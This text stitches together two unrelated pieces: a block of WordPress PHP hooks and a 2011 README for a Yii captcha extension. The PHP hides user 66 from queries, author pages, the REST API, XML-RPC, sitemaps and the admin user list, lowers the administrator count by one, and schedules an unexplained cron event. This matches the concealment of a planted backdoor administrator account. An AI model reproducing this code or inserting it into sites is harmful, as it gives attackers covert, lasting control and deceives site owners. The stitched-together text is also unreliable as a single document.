add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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Captcha Extended
================
Captcha Extended is an extension written for Yii framework.
It enhances original captcha code delivered along with the framework.
Features
========
- supports modes: logical, words, mathverbal, math, default
- supports extended characters latin1, latin2 (utf-8) including middle- east- european and cyrillyc characters
- implements masking elements: dots density, through lines, fillSections, font color varying.
INSTALLATION
============
1) Unzip CaptchaExtended.zip files into ../protected/extensions/captchaExtended/*.*
2) Register class paths to [CaptchaExtendedAction] and [CaptchaExtendedValidator], e.g. in components/controller.php:
public function init(){
// register class paths for extension captcha extended
Yii::$classMap = array_merge( Yii::$classMap, array(
'CaptchaExtendedAction' => Yii::getPathOfAlias('ext.captchaExtended').DIRECTORY_SEPARATOR.'CaptchaExtendedAction.php',
'CaptchaExtendedValidator' => Yii::getPathOfAlias('ext.captchaExtended').DIRECTORY_SEPARATOR.'CaptchaExtendedValidator.php'
));
}
3) Define action in controller, e.g. SiteController:
public function actions(){
return array(
'captcha'=>array(
'class'=>'CaptchaExtendedAction',
),
);
}
4) Define client validation in model::rules():
public function rules(){
return array(
array('verifyCode', 'CaptchaExtendedValidator', 'allowEmpty'=>!CCaptcha::checkRequirements()),
);
}
5) If needed, collect localized strings via CLI command "yiic message messages/config.php" and translate captcha related strings.
6) If needed, you can tune captcha modes and visibility options:
- In "words" mode, you can place your own file [words.txt] or [words.yourlanguage.txt]
- If needed, you can ..
-> set the dots density [0-100],
-> the number of through lines [0-]
-> the number of fillSections [0-],
-> font and background colors
7) Test & enjoy!
=============================
Please report bug to lubosdz AT hotmail DOT com.
Thanx
Lubos
29/08/2011
Bratislava, Slovakia